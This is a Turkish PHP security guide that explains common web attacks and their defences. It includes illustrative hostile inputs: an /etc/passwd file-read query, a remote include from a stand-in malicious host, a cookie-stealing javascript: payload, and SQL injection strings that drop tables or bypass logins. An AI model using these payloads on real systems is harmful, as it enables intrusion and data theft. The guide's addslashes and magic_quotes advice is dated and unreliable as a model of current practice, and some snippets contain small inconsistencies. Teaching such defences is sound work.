PHP İlkeleri

PHP (PHP: Hypertext Preprocessor için özyineli (recursive) kısa ad) dinamik web sayfaları oluşturmak için yaygın olarak kullanılan sunucu taraflı bir betik dilidir. "Sunucu taraflı", kodun istemciye gönderilmeden önce sunucu tarafında yorumlandığı anlamına gelir. PHP kodu HTML kodu içine gömülür. Öğrenilmesi ve başlaması çok kolay olmasının yanında tecrübeli programcılar için de güçlü bir araçtır. Ama öğrenilmesinin çok kolay olması ve özelliklerinin aşırı derecede fazla olması sadece olumlu değildir, bu durum, bir çok değişik saldırılara maruz kalabilen emniyetsiz programlara da yol açabilir. Bu bölüm, çok yaygın saldırıları açıklamaya ve bunlara karşı kendimizi nasıl koruyacağımızı açıklayacaktır.

PHP açık kaynak kodlu olup http://www.php.net/ adresinden bedava indirilebilir.

Global değişkenler

Fonksiyonların dışında tanımlanan değişkenler PHP tarafından global olarak değerlendirirler. Bunun tersi, yani bir değişkenin fonksiyonun içinde tanımlanması, lokal fonksiyon kapsamında değerlendirilir. PHP global değişkenleri C gibi dillerden çok farklı bir şekilde değerlendirir. C'de, global değişkenler global kapsamda olduğu kadar lokal kapsamlarda da (aynı adda başka bir değişken tarafından geçersiz kılınmadıkça) kullanılabilirler. PHP'de işler farklıdır; lokal kapsamda global bir değişkene erişmek için değişkeni o kapsamda global olarak tanımlamanız gerekir. Aşağıdaki örnek bunu gösterir:

```
$sTitle = 'Page title'; // Global kapsam


function printTitle()
{
      global $sTitle; // Değişkeni global olarak tanımla
      echo $sTitle; // Şimdi ona sanki lokal değişkenmiş gibi
erişebiliriz
}
```

PHP'deki bütün değişkenler dolar işaretinden sonra gelen değişken isimleri ile temsil edilirler. İsimlerde büyük-küçük harf ayrımı yapılır ve isimler bir harf veya altçizgi işareti ile başlamak ve herhangi bir sayıda harfler, rakamlar veya altçizgi işareti ile devam etmek zorundadırlar.

register_globals

register_globals direktifi PHP'de oturum değişkenleri ve karşıdan yüklenmiş dosyalar kadar, GET, POST ve COOKIE'den gelen girdileri de global değişkenler olarak direk erişilir yapar. Sadece bu direktif, php.ini de belirtildiğinde, web uygulamalarındaki bir çok açıklığın sebebidir.

Şimdi bir örneği inceleyerek başlayalım:

```
if ($bIsAlwaysFalse)
{
      // Bu asla çalıştırılmaz
      $sFilename = 'somefile.php';
}
//       ...
if ( $sFilename != '' )
{
      // $sFilename'i aç ve içeriğini tarayıcıya (browser) yolla
      //          ...
}
```

Eğer bu sayfayı register_globals kurulu olarak şu şekilde çağırırsak:

`page.php?sFilename=/etc/passwd` aşağıdakini yazmakla aynı şeyi yapmak olurdu:

```
$sFilename = '/etc/passwd'; // Bu, PHP tarafından içsel olarak
yapılır
if ( $bIsAlwaysFalse )
{       // Bu asla çalıştırılmaz
      $sFilename = 'somefile.php';
}
// ...
if ( $sFilename != '' )
{
      // $sFilename'i aç ve içeriğini tarayıcıya (browser) yolla
      // ...
}
```

PHP `$sFilename = '/etc/passwd';` bölümünü bizim için halleder. Bu şu anlama gelir, kötü niyetli bir kullanıcı $sFilename için kendi değerini enjekte edebilir ve o anki güvenlik bağlamı altında okunabilir her hangi bir dosyayı görebilirdi.

İşte bu, "peki ya şu olursa" sorusunu kod yazarken her zaman düşünmeliyiz. Öyleyse, register_globals özelliğini kapatmak bir çözüm olabilir ama ya yazdığımız kod, register_globals özelliği açık olan bir sunucuda çalıştırılırsa. Global kapsamdaki her değişkenin kurcalanabileceğini aklımızda bulundurmalıyız. Yukarıdaki kod doğru yazmanın yolu `$sFilename`'a her zaman bir değer atanmış olduğuna emin olmak olacaktır:

```
// $sFilename'ı boş bir dizgi ile ilklendiriyoruz (initialize)
$sFilename = '';
if ( $bIsAlwaysFalse ) {
      // Bu asla çalıştırılmaz
      $sFilename = 'somefile.php';
}
...
if ( $sFilename != '' ) {
   // $sFilename'i aç ve içeriğini tarayıcıya (browser) yolla
   ...
}
```

Diğer bir çözüm, global kapsamda olabildiğince az kod bulundurmaktır. Nesne tabanlı programlama (OOP) doğru yapıldığında çok etkilidir ve bu yaklaşımı izlemenizi şiddetle tavsiye ederim. Hemen hemen bütün kodumuzu genellikle daha güvenli ve tekrar kullanımı sağlayan sınıflar içinde yazabiliriz. register_globals özelliğinin kapalı olduğunu varsaymamalı olduğumuz gibi açık olduğunu da varsaymamalıyız. GET, POST, COOKIE ve benzerlerinden girdi almanın doğru yolu PHP'ye 4.1.0 sürümü ile eklenen superglobal'leri kullanmaktır. Bunlar $_GET, $_POST, $_ENV, $_SERVER, $_COOKIE, $_REQUEST $_FILES, and $_SESSION dizilimleridir (array). Bu dizilimler kapsamdan bağımsız olarak her zaman kullanılabilir olduklarından superglobal'ler olarak adlandırılmışlardır.

Include'lar ve Uzak dosyalar

PHP fonksiyonları include() ve require(), dosyaları içermek ve değerlendirmek için kolay bir yol sağlarlar. Bir dosya içerildiğinde, içerdiği kod, include komutunun çalıştırıldığı satırın değişken kapsamını kalıtsal olarak alır. O satırdaki erişilebilir bütün değişkenler içerilen dosyada erişilebilir. Ve diğer taraftan, içerilen dosyadaki tanımlanan değişkenler, çağıran sayfada o anki kapsamda erişilebilir olacaktır. İçerilen dosya lokal bir bilgisayarda olmak zorunda değildir. Eğer allow_url_fopen değişkeni php.ini'de açılırsa içerilecek dosyayı URL kullanarak belirtebilirsiniz.

PHP dosyayı lokal yol ismi yerine HTTP kullanarak getirecektir. Bu güzel bir özellik olmasına rağmen aynı zamanda büyük bir güvenlik riski de olabilir.

Not: allow_url_fopen direktifi varsayılan değer (default) olarak açıktır.

Yaygın yapılan bir hata her dosyanın direk olarak çağrılabileceğini, yani içerilmek üzere yazılan bir dosyanın kötü niyetli bir kullanıcı tarafından direk olarak çağırılabileceğini düşünmemektir. Bir örnek:

```
// file.php
$sIncludePath = '/inc/';
include($sIncludePath . 'functions.php');
...

// functions.php
include($sIncludePath . 'datetime.php');
include($sIncludePath . 'filesystem.php');
```

Yukarıdaki örnekte, functions.php direk olarak çağırılmak amacı ile yazılmamıştır, öyleyse `$sIncludePath`'e, çağıran sayfanın değer vereceğini varsaymaktadır. Başka bir sunucuda (ve bu sunucuda PHP işleme özelliğini kapatarak) datetime.php veya filesystem.php isminde bir dosya oluşturarak, functions.php'ı şu şekilde çağırabilirdik:

```
functions.php?sIncludePath=http://www.malicioushost.com/
```

PHP, datetime.php dosyasını diğer sunucudan sorunsuz bir şekilde indirir ve çalıştırır ki bu da kötü niyetli bir kullanıcının kendi belirlediği kodu functions.php içerisinde çalıştırabileceği anlamına gelir. Include'lar içinde include'ları tavsiye

etmem (yukarıdaki örnekte olduğu gibi). Fikrime göre bu durum, kodu anlamayı ve kodun gözden geçirilmesini zorlaştırır. Şimdi, yukarıdaki kodu güvenli yapmak istiyoruz ve bunu yapmak için functions.php'ın gerçekten de file.php'den çağrıldığına emin olmalıyız.

```
// file.php
define('SECURITY_CHECK', true);
$sIncludePath = '/inc/';
include($sIncludePath . 'functions.php');
...
// functions.php
if ( !defined('SECURITY_CHECK') ) {
// Hata mesajı göster ve çık
...
}
include($sIncludePath . 'datetime.php');
include($sIncludePath . 'filesystem.php');
```

define() fonksiyonu bir sabit (constant) tanımlar. Sabitler dolar işareti ($) ile başlamazlar ve bu nedenle bu durumu şu şekilde bozamayız: functions.php?SECURITY_CHECK=1. Bu günlerde pek yaygın olmamakla beraber hala .inc uzantılı PHP dosyaları ile karşılaşabilirsiniz. Bu dosyalar sadece başka dosyalar tarafından içerilmek üzere tanımlanmışlardır. Bir çok zaman gözden kaçırılan nokta bu dosyaların direk çağırıldıkları takdirde PHP önişlemcisinden geçmediği ve böylece açık olarak gönderildiğidir. Tutarlı olmalı ve her zaman PHP tarafından çalıştırıldığına emin olduğumuz bir uzantı ismini kullanmalıyız. .php uzantısı önerilmektedir.

Karşıdan dosya yüklenmesi

PHP zengin özellikler ile dolu bir dildir ve kurulum ile gelen bir özelliği de karşıdan dosya yüklemelerinin otomatik olarak halledilmesidir. Bir dosya, bir PHP sayfası tarafından karşıdan yüklendiğinde, otomatik olarak geçici bir dizine kaydedilir. Karşıdan yüklenen dosyayı açıklayan yeni global değişkenler sayfa içinde

erişilir hale gelecektir. Kullanıcıya karşıdan yükleme formu gösteren aşağıdaki HTML kodunu düşünün:

```
<form action= “page.php “ method= “POST “ enctype= “multipart/form-data “>        <input type= “file “ name= “testfile “ />
<input type= “submit “ value= “Upload file “ />
</form>
```

Yukarıdaki form gönderildiğinde, page.php dosyasında, “testfile” ismine göre oluşturulacak yeni değişkenler erişilir hale gelecektir.

```
$testfile_type
// PHP tarafından değerleri atanan değişkenler ve içerikleri :
// PHP tarafından oluşturulan geçici bir yol/dosya_ismi. Bu, eğer
// hakkında herhangi bir şey yapmayı seçmezsek, biz değiştirene veya PHP
// tarafından silinene kadar dosyanın kaydedileceği yerdir.
$testfile
// İstemci sistemindeki dosyanın orjinal isim/yol’udur.
$testfile_name
// Karşıdan yüklenen dosyanın bayt cinsinden büyüklüğüdür.
$testfile_size
// Tarayıcının bu bilgiyi sağlaması durumunda dosyanın mime türüdür. Örnek
// olarak:  “image/jpeg”.
$testfile_type
```

Yaygın bir yöntem, $testfile’ın tanımlı olup olmadığını kontrok etmek, ve eğer tanımlıysa herhangi bir tarayıcı yolu ile erişilebilen, herkese açık bir dizine kopyalamak gibi hemen dosya üzerinde çalışmaya başlamaktır. Çoktan tahmin etmiş olabileceğiniz gibi, bu karşıdan yüklenmiş dosyalar ile uğraşmanın en güvensiz şeklidir. `$testfile` değişkeni karşıdan yüklenen dosyaya yol/isim olmak zorunda değildir. GET, POST ve COOKIE v.b. kaynaklarından da gelebilir. Kötü niyetli bir kullanıcı hiç de iyi sonuçlanmayacak bir şekilde, bizi sunucu üzerindeki herhangi bir dosya üzerinde çalıştırabilir. register_globals direktifi hakkında hiç bir şey varsaymamalıyız, açık veya kapalı olabilir, bizim için önemli olan tek şey kodumuzun bundan bağımsız olarak çalışabilmesi ve en önemlisi bundan bağımsız olarak aynı

şekilde güvenli olabilmesidir. Öyleyse yapmamız gereken ilk şey $_FILES dizilimini kullanmak olmalıdır:

```
// PHP tarafından oluşturulan geçici dosya ismi
$_FILES['testfile']['tmp_name']
// PHP tarafından oluşturulan geçici bir yol/dosya_ismi.
$_FILES['testfile']['name']
// Tarayıcının bu bilgiyi sağlaması durumunda dosyanın mime türüdür.
Örnek
// olarak:  “image/jpeg”.
$_FILES['testfile']['type']
// Karşıdan yüklenen dosyanın bayt cinsinden büyüklüğüdür.
$_FILES['testfile']['size']
```

Yerleşik (built-in) fonksiyonlar `is_uploaded_file()` ve/veya `move_uploaded_file()`, dosyanın gerçekten HTTP POST ile karşıdan yüklendiğine emin olmak için `$_FILES['testfile']['tmp_name']` ile birlikte kullanılmalıdırlar. Aşağıdaki örnek, karşıdan yüklenen dosyalar ile uğraşmanın kesin bir yöntemini gösterir:

```
if ( is_uploaded_file($_FILES['testfile']['tmp_name']) ) {
// dosyanın boyutunun beklediğimiz büyüklükte olup olmadığını kontrol
et
// (opsiyonel)
if ( $_FILES['sImageData']['size'] > 102400 ) {
// Büyüklük 100KB’den büyük olamaz, hata mesajı yaz ve çık.
...
}
// Dosya isminin ve uzantısının geçerliliğini orjinal isme ve
// $_FILES['testfile']['name']’e göre denetle

// mesela, hiç kimsenin .php uzantılı dosyaları karşıdan yüklemesini
// istemiyoruz
// Şimdiye kadar herşey iyi, dosyayı move_uploaded_file ile taşı
...
}
```

Not: superglobals dizilimlerindeki bir değişkene erişmeden önce herzaman isset() komutu ile kontrol etmeliyiz. Yukarıdaki örneklerde bunu yapmadım çünkü örnekleri en basit şekilde tutmak istedim.

Oturumlar

PHP'deki oturumlar, kullanıcılara özel değişkenlerini veya "durumlarını", takip eden HTTP istekleri boyunca kaydetmeye yarayan bir yoldur. Bu, tarayıcının her yeni istekte yollayacağı biricik (unique) bir oturum bilgisini (session id) yollaması ile başarılır. Oturum, tarayıcı her yeni istekte oturum bilgisini yolladıkça ve istekler arasında çok zaman farkı olmadıkça hayatta kalır. Oturum bilgisi genellikle bir cookie olarak gerçeklenir ama URL içinde bir değer de olabilir. Oturum değişkenleri, php.ini tarafından belirtilen bir dizine dosyalar olarak kaydedilirler. Bu dizindeki dosya isimleri oturum bilgilerine göre verilir. Her dosya, o oturum için değişkenlerini açık olarak tutar. Önce oturumlar ile çalışmanın eski ve güvensiz bir yolunu inceleyeceğiz; ne yazık ki oturumlar ile bu şekilde çalışma halen yaygın olarak kullanılmaktadır.

```
// first.php
// Oturum yönetimini ilklendir.
session_start();
// Kullanıcının kimliğini denetle
if ( ... )  {
   $bIsAuthenticated = true;
} else {
   $bIsAuthenticated = false;
}
// $bIsAuthenticated'i bir oturum değişkeni olarak kaydet
session_register('bIsAuthenticated');
echo '<a href= "second.php ">To second page</a>';
// second.php
// Oturum yönetimini ilklendir.
session_start();
// $bIsAuthenticated PHP tarafından otomatik olarak oluşturulur
if ( $bIsAuthenticated )      {
         // Hassas bilgileri göster
        ...
```

```
}
```

Bu neden güvensizdir? Güvensizdir çünkü basit bir second.php?bIsAuthenticated=1 first.php'de kimlik doğrulama işlemini atlatacaktır. Eğer session.auto_start direktifi php.ini dosyasında açık ise (ki varsayılan değer kapalıdır), session_start() örtülü olarak session_register() veya PHP tarafından çağırılacaktır. Ama tutarlı olmak ve yapılandırma ayarlarına itimat etmemek için onu (session_start) herzaman kendimiz çağırmalıyız. Oturumlar ile çalışmanın önerilen yolu:

```
// first.php
// Oturum yönetimini ilklendir.
session_start();
// Kullanıcının kimliğini denetle
if ( ... ) {
   $_SESSION['bIsAuthenticated'] = true;
} else {
   $_SESSION['bIsAuthenticated'] = false;
}
echo '<a href= "second.php">To second page</a>';
// second.php
// Oturum yönetimini ilklendir.
session_start();
if ($_SESSION['bIsAuthenticated'] ) {
   // Hassas bilgileri göster
   ...
}
```

Yukarıdaki kod sadece daha güvenli değil, görüşüme göre, daha temiz ve anlaşılırdır. Not: Bir çok hizmeti beraber sağlayan (multi host) sistemlerde, oturum dosyalarının olduğu dizini (tipik olarak /tmp) güvenli hale getirmeyi unutmayın, yoksa kullanıcılar diğer siteler için özel yapım oturum dosyaları oluşturabilirler.

Siteler ötesi (arası) betik çalıştırma (XSS)

PHP'de yazılmış bir konuk defteri (guest book) uygulaması düşünün. Ziyaretçiye mesaj girebileceği bir form gösterilir. Bu form daha sonra veriyi bir veritabanına kaydeden bir sayfaya yollanır. Birisi konuk defterini görmek istediğinde, bütün mesajlar veritabanından alınır ve tarayıcıya yollanır. Veritabanındaki her mesaj için aşağıdaki kod çalıştırılır.

```
// $aRow SQL sorgusundan bir sırayı içerir
echo '<td>';
echo $aRow['sMessage'];
echo '</td>';     ...
```

Bu forma girilen her şeyin değiştirilmeden her ziyaretçinin tarayıcısına gönderildiği anlamına gelir. Bu neden bir problemdir? Birisinin sayfanın biçimlenmesini bozacak < veya > karakterlerini gönderdiğini düşünün. Eğer yapılan bununla kalsa kendimizi şanslı saymalıyız. Bu durum, sayfayı JavaScript, HTML, VBScript, Flash, ActiveX v.b. enjekte etmek gibi saldırılara karşı apaçık bırakır. Kötü niyetli bir kullanıcı bunu yeni formlar göstererek kullanıcıları hassas bilgilerini yollamaları için kullanabilir. İstenmeyen reklamlar siteye eklenebilir. Bir çok tarayıcıda çoğu oturum bilgilerinin tutulduğu cookie'ler okunabilir ve böylece bu durum oturum korsanlığına kadar gidebilir.

Burda yapmak istediğimiz şey HTML için özel anlam ifade eden karakterleri HTML öğelerine çevirmektir. Şansımıza PHP tam da bunu yapmak için bir fonksiyon sağlar. Bu fonksiyonun adı htmlspecialchars()'dır ve ", &, < ve > karakterlerini & " < ve > dizgilerine çevirir. (PHP, HTML varlık eşleri olan bütün karakterleri çeviren htmlentities() isminde bir fonksiyona sahiptir ama htmlspecialchars ihtiyaçlarımızı tam olarak karşılar.)

```
// Yukarıdakini yapmanın doğru yolu:
echo '<td>';
echo htmlspecialchars($aRow['sMessage']);
echo '</td>';     ...
```

Neden bu işi mesajı veritabanına kaydederken yapmadığımız merak edilebilir. Bu, derde davetiye çıkarmaktır çünkü o durumda bütün değişkenlerdeki değerlerin nerden geldiklerinin kaydını tutup ve GET, POST'tan gelen girdilere veritabanından

aldığımız verilerden daha farklı bir şekilde davranmamız gerekir. Tutarlı olmak ve veri üzerinde, tarayıcıya göndermeden hemen önce htmlspecialchars() fonksiyonunu çağırmak daha iyidir. Bu filtrelenmeyen bütün girdilere, tarayıcıya gönderilmeden önce yapılmalıdır.

Neden htmlspecialchars her zaman yeterli değildir

Aşağıdaki koda bakalım:

```
// Bu sayfa şu şekilde çağrılmak üzere tasarlanmıştır:
// page.php?sImage=filename.jpg
echo '<img src= “' . htmlspecialchars($_GET['sImage']) . '” />';
```

Yukarıdaki kod htmlspecialchars olmadan bizi tamamen XSS saldırılarına karşı açık bırakır ama htmlspecialchars neden yeterli değildir?

Zaten HTML etiketi içerisinde olduğumuzdan kötü amaçlı kod enjekte etmek için < veya > karakterlerine ihtiyacımız yoktur. Aşağıdakine bakalım:

```
// Sayfayı çağırma şeklimizi değiştirelim:
// page.php?sImage=javascript:alert(document.cookie);
// Öncekiyle aynı kod:
echo '<img src= “' . htmlspecialchars($_GET['sImage']) . '” />'; <!–
```

Yukarıdaki şu sonuca ulaştırır:

```
-->   <img src= “javascript:alert(document.cookie);” />
```

“`javascript:alert(document.cookie);`” bir değişikliğe uğramadan htmlspecialchars’dan geçer. Hatta bazı karakterleri HTML sayısal karakter referansları ile değiştirsek bile aşağıdaki kod bazı tarayıcılarda çalışacaktır.

```
<!-- Bu bazı tarayıcılarda çalışacaktır: -->
<img src= “javascript&#58;alert&#40;document.cookie&#41;;” />
```

Bu durumda güvenli kabul ettiğimiz girdiler dışında diğer girdileri almamaktan başka çözüm yoktur. Kötü girdileri filtrelemeye çalışmak zordur ve her zaman bişeyleri gözden kaçırırız.

```
// sadece emniyetli olarak bildiğimiz girdileri kabul ederiz.
// (bu durumda geçerli bir dosya ismi)
if ( preg_match('/^[0-9a-z_]+\.[a-z]+$/i', $_GET['sImage']) ) {
      echo '<img src="' . $_GET['sImage'] . '" />;';
}
```

SQL Enjeksiyonu

SQL enjeksiyonu terimi, varolan bir SQL sorgusuna komut enjekte etmeyi açıklamakta kullanılır. Yapılandırılmış (Biçimli) Sorgu Dili (Structured Query Language -SQL-) MySQL, MS SQL ve Oracle gibi veritabanı sunucuları ile etkileşimde (iletişimde) kullanılan sözel bir dildir.

```
  $iThreadId = $_POST['iThreadId'];
  // SQL sorgusunu oluştur
  $sSql = “SELECT sTitle FROM threads WHERE iThreadId = “ .
$iThreadId;
```

Yukarıdaki koddaki problemi anlamak için, aşağıdaki HTML koduna bakalım:

```
<form method=“post” action=“insecure.php”>
```

<input type=“text” name=“iThreadId” value=“4; DROP TABLE users” />
<input type=“submit” value=“Buraya tıklama” />

```
</form>
```

Yukarıdaki formu güvensiz sayfamıza yolladığımızda, veritabanı sunucusuna gönderilecek dizgi hiç de iyi sonuçlanmayacak şekilde aşağıdaki gibi gözükecektir:

```
SELECT sTitle FROM threads WHERE iThreadId = 4; DROP TABLE users
```

Bazıları veritabanı sunucusuna göre değişen, bu şekildeki SQL komutları eklemenin birçok yolu vardır. Bunu daha da ileri götürürsek, aşağıdaki koda PHP uygulamalarında yaygın olarak rastlanır:

```
$sSql = “SELECT iUserId FROM users” .
            “ WHERE sUsername = '“ .
            $_POST['sUsername'] .
            “' AND sPassword = '“ .
            $_POST['sPassword'] . “'“;
```

Burada kullanıcı adı (username) yerine “theusername'--” veya şifre (password) yerine “' OR '' = '” (çift tırnakları kullanmadan) girip şifre bölümünü atlayabiliriz, bu şu şekilde sonuçlanır:

```
// Not: -- MS SQL’de satır yorumudur ve bu karakterlerden sonra gelen
// herşey atlanır
SELECT iUserId FROM users WHERE sUsername = 'theusername'--' AND
sPassword =  ''
// Veya:
```

```
SELECT iUserId FROM users WHERE sUsername = 'theusername' AND
sPassword = ''  OR '' = ''
```

İşte burda girdi geçerliliği denetlemesi gün yüzüne çıkar. Yukarıdaki ilk örnekte SQL sorgusuna eklemeden önce $iThreadId'nin gerçekten bir sayı olduğunu control etmeliyiz.

```
if ( !is_numeric($iThreadId) ) {
   // Sayı değil, hata mesajı göster ve çık.
   ...
}
```

İkinci örnek, PHP'nin, açık olduğunda bu durumu önleyen bir özelliği olduğundan biraz daha dikkat ister. Bu, benim görüşümce register_globals gibi aslında PHP'nin hiç içermemiş olması gereken magic_quotes_gpc direktifidir. Birazdan nedenini açıklayacağım. Bir dizgide ' gibi karakterlerin olması için kaçış karakterleri kullanmamız gerekir. Bu veritabanı sunucusuna bağlı olarak değişir.

```
// MySQL:
SELECT iUserId FROM users WHERE sUsername = 'theusername\'--' AND
sPassword  = ''
// MS SQL Server: SELECT iUserId FROM users WHERE sUsername =
'theusername''--' AND sPassword  = ''
```

Şimdi, açık olduğunda magic_quotes_gpc, GET, POST ve COOKIE (gpc)'den gelen bütün girdilere kaçış karakterlerini ekler. Bu da ilk örnekte olduğu gibi ters eğik çizgi (\) ile yapılır. Yani bir forma "theusername'--" girip yolladığınızda, $_POST['sUsername'], veritabanı sunucusu desteklediği sürece (MS SQL Sunucu desteklemez) SQL sorgusuna güvenli bir şekilde gönderilebilecek "theusername\'--" değerini içerecektir. Bu ilk problemdir. İkinci problem SQL sorgusu oluşturmadığınız zaman bu ters eğik çizgileri (\) kaldırmanız gerektiğidir. Genel bir kural, magic_quotes_gpc'in açık olup olmadığına bağlı olmadan, kodumuzun çalışmasıdır. Aşağıdaki kod ikinci örneğe bir çözümdür:

```
// Eğer magic_quotes_gpc açıksa, GET, POST and COOKIE'den ters eğik
çizgileri
// sil
if (get_magic_quotes_gpc()) {
      // GET
```

```
	if (is_array($_GET)) {
		// GET diziliminde gez
		foreach ($_GET as $key => $value) {
			$_GET[$key] = stripslashes($value);
		}
	}
	// POST
	if (is_array($_POST)) {
		// POST diziliminde gez
		foreach ($_POST as $key => $value) {
			$_POST[$key] = stripslashes($value);
		}
	}
	// COOKIE
	if (is_array($_COOKIE)) {
		// COOKIE diziliminde gez
		foreach ($_COOKIE as $key => $value) {
			$_COOKIE[$key] = stripslashes($value);
		}
	}
}

function sqlEncode($sText)
{
	$retval = '';
	if ($bIsMySql) {
		$retval = addslashes($sText);
	} else {
		// Sunucu MS SQL mi?
		$retval = str_replace("'", "''", $sText);
	}
	return $retval;
}

$sUsername = $_POST['sUsername'];
```

```
$sPassword = $_POST['sPassword'];
$sSql = "SELECT iUserId FROM users ".
                  " WHERE sUsername = '" . sqlEncode($sUsername) .
"'" .
                  " AND sPassword = '". sqlEncode($sPassword)."'";
```

Tercihen if komutunu ve sqlEncode fonksiyonunu bir include'un içine koyarız. Eğer betiklerimizi saldırılara açık bırakırsak, tahmin edebileceğiniz gibi kötü niyetli bir kullanıcı benim burada gösterdiklerimden daha fazlasını yapabilir. Yukarıda açıkladığım açıklıklardan dolayı bütün veritabanının alındığı (çalındığı) örnekler gördüm.

Code Enjeksiyonu

- include() and require() - Includes and evaluates a file as PHP code.
- include() ve require() - bir dosyayı PHP kodu olarak içerir ve değerlendirir.
- eval() - Evaluates a string as PHP code.
- eval() – bir dizgiyi PHP olarak kodu olarak değerlendirir.
- preg_replace() - The /e modifier makes this function treat the replacement parameter as PHP code.
- preg_replace() - /e değiştiricisi (modifier), bu fonksiyonun değiştirilen parametreyi PHP kodu olarak değerlendirmesini sağlar.

Command injection

Komut Enjeksiyonu

exec(), passthru(), system(), popen() ve ters çentik işareti (`) - girdilerini kabuk (shell) komutu olarak çalıştırır.

Bu fonksiyonlara kullanıcı girdilerini verirken, kötü niyetli kullanıcıların keyfi komut çalıştırmalarına engel olmalıyız. PHP'nin, bu amaç için iki fonksiyonu vardır; escapeshellarg() ve escapeshellcmd().

Yapılandırma ayarları

register_globals

Açık olduğunda, PHP get, post ve cookie'den gelen bütün kullanıcı girdilerinden global değişkenler oluşturur. Eğer mümkünse bu direktifi kesinlikle kapatmalısınız. Ne yazık ki, bu özelliği kullanan o kadar çok kod vardır ki, eğer bundan kurtulabilirseniz şanslısınız.

Önerilen: off

safe_mode

PHP güvenli modu, PHP betikleri için bir grup kısıtlamalar içerir ve bu şekilde paylaşılan bir sunucu ortamında güvenliği gerçekten arttırabilir. Bu kısıtlamalardan bir kaçını belirtmek gerekirse: Bir betik, dosyalara ve dizinlere ancak eriştiği kaynağın sahibi ile aynı sahibi paylaşıyorsa erişebilir veya değiştirebilir. Ters çentik işareti gibi bazı fonksiyonlar ve operatörler tamamen kapatılabilir veya kısıtlanabilir.

disable_functions

Bu direktif seçtiğimiz fonksiyonları kapatmakta kullanılabilir.

open_basedir

PHP'yi, sadece burda belirtilen dizindeki ve alt dizinlerdeki dosyalarda işlem yapması için kısıtlar.

allow_url_fopen

Bu seçenek açık olduğunda PHP, include ve fopen gibi fonksiyonlarda uzaktan dosyalar kullanarak işlem yapabilir.

Önerilen: off

error_reporting

Olabildiğince anlaşılır (temiz) kod yazmak ve bunun için PHP'nin bütün uyarıları bize belirtmesini isteriz.

Önerilen: E_ALL

log_errors

Bütün hataları php.ini'de belirtilen yere kaydeder.

Önerilen: on

display_errors

Bu direktifin açık olması ile, betiklerin çalıştıkları sırada oluşacak (error_reporting de belirtilen türdeki) bütün hatalar tarayıcıya gönderilecektir. Bu durum, geliştirme ortamında istenen bir özelliktir. Ama üretim ortamında bu özellik, kodumuz, veritabanımız veya web sunucumuz hakkındaki hassas bilgileri açığa çıkaracağından istenen bir özellik değildir.

Önerilen: off (üretim ortamı), on (geliştirme ortamı)

magic_quotes_gpc

post, get ve cookie'den gelen bütün girdilere değiştirme karakterlerini uygular. Bu aslında bizim halletmemiz gereken bir davranıştır.

Bu aynı zamanda **magic_quotes_runtime** için de geçerlidir.

Önerilen: off

post_max_size, upload_max_filesize and memory_limit

Bu direktifler, kaynak eksiklikleri (resource starvation) riskini azaltmak için mantıklı bir seviyeye çekilmelidir.

Önerilen uygulamalar (alışkanlıklar)

Çift tırnağa karşı tek tırnak

```
// Çift tırnaklar:
$sSql = “SELECT iUserId FROM users WHERE sName = 'John Doe'“;
// Tek tırnaklar:
echo '<td width=“100”></td>';
```

Genel bir kural olarak sql komutlarında çift tırnak, ve diğer bütün durumlarda tek tırnak kullanın.

short_open_tag'a güvenmeyin

short_open_tag açık olduğunda PHP'nin açık etiketlerinin kısa biçimlerinin kullanılmasını sağlar. Yani <?php ?> yerine <? ?>. register_globals gibi bu özelliğinde açık olabileceğini asla varsaymamalısınız.

Dizgilerin peş peşe bağlanması (birleştirilmesi).

```
$sOutput = 'Hello ' . $sName;       // Böyle değil: $sOutput = “Hello $sName”;
```

Bu okunabilirliği arttırır ve daha az hata üretir.

Kodunuza yorum ekleyin.

Ne kadar basit görünse de herzaman kodunuza yorum eklemeye çalışın ve (duruma göre) İngilizce kullanmayı unutmayın.

Karmaşık kodlar her zaman engellenmelidir.

Eğer kendi yazdığınız kodu anlamakta zorlanıyorsanız bir de diğer insanların neler çekebileceğini düşünün. Yorumlar yardımcı olabilir ama her zaman işe yaramayabilir, o halde kodunuzu tekrar yazın!

İsimlendirme Uzlaşımları (Adetleri)

Değişken isimleri küçük harfler ile başlayacak şekilde küçük ve büyük harflerden oluşmalıdırlar.

```
$sName, $iSizeOfBorder // string, integer
```

Bu bir değişkene bakıp hemen ne içerdiğini anlamanızı çok kolaylaştırır. İşte size yaygın ön ekler:

- a Array
- b bool
- d double
- f float
- i int
- l long
- s string
- g_ global (normal bir ön ekten sonra)

Boolean değişkenleri ön ek b'den sonra is, has, can veya should kelimelerini kullanmalıdırlar.

```
$bIsActive, $bHasOwner
```

Bu aynı zamanda boolean geri döndüren fonksiyonlar için de geçerlidir, ama b ön eki olmadan, mesela:

```
$user->hasEmail();
```

Olumsuz boolean değişken isimlerinin kullanımından kaçınılmalıdır

```
var $bIsActive;
// Böyle değil: $bIsNotActive var $bHasId;
// Böyle değil: $bHasNoId
```

Aşağıdaki kodun olarak ne yaptığı hemen netleşmez:

```
if ( !$bIsNotActive ) {
...
}
```

Obje değişkenleri tamamen küçük harflerden oluşmalı ve, o veya obj ön eklerini kullanmalıdırlar

$session, $page // tercihen $oSession $objPage

Tamamen küçük harflerden oluşması burda tercih nedenidir ama önemli olan tutarlı olmaktır.

Sabitler tamamen büyük harflerden oluşmalıdırlar ve içerdiği kelimeleri ayırmak için alt çizgi kullanmalıdır

```
$SESSION_TIMEOUT, $BACKGROUND_COLOR, $PATH
```

Ama genel olarak bu tür sabitlerin kullanımı en aza indirilmeli ve gerektiği takdirde fonksiyonlar ile değiştirmelidirler.

Fonksiyon isimleri bir fiil ile başlamalı ve küçük harfle başlayacak şekilde büyük/küçük harflerden oluşmalıdırlar

```
validateUser(), fetchArray()
```

İsim içerisinde kullanılacaklarsa, kısaltmalar büyük harflerden oluşmamalıdırlar

```
$sHtmlOutput
// Böyle değil:
$sHTMLOutput
getPhpInfo()
// Böyle değil:
getPHPInfo()
```

Baz (temel) isimler için tamamen büyük harfler kullanmak yukarıda verilen isimlendirme adetleri ile ters düşecektir.

SQL anahtar kelimeleri tamamen büyük harflerden oluşmalıdır

```
SELECT TOP 10 sUsername, sName FROM users
```

Bu SQL sorgusunu anlamayı çok daha kolaylaştırır.

Özel (private) sınıf değişkenleri son ek olarak alt çizgiyi kullanmalıdırlar

```
class MyClass
{
      var $sName_;
}
```

Bu public ve private değişkenlerini birbirinden ayırmanın bir yoludur. Ama bu diğer dillerde olduğu kadar bir problem teşkil etmez çünkü PHP'de private değişkenlere $this-> işaretçisi ile ulaşılır.

(Duruma göre) Bütün isimler İngilizce olarak yazılmalıdır.

```
$iRowId // Böyle değil : $iRadId (Swedish)
```

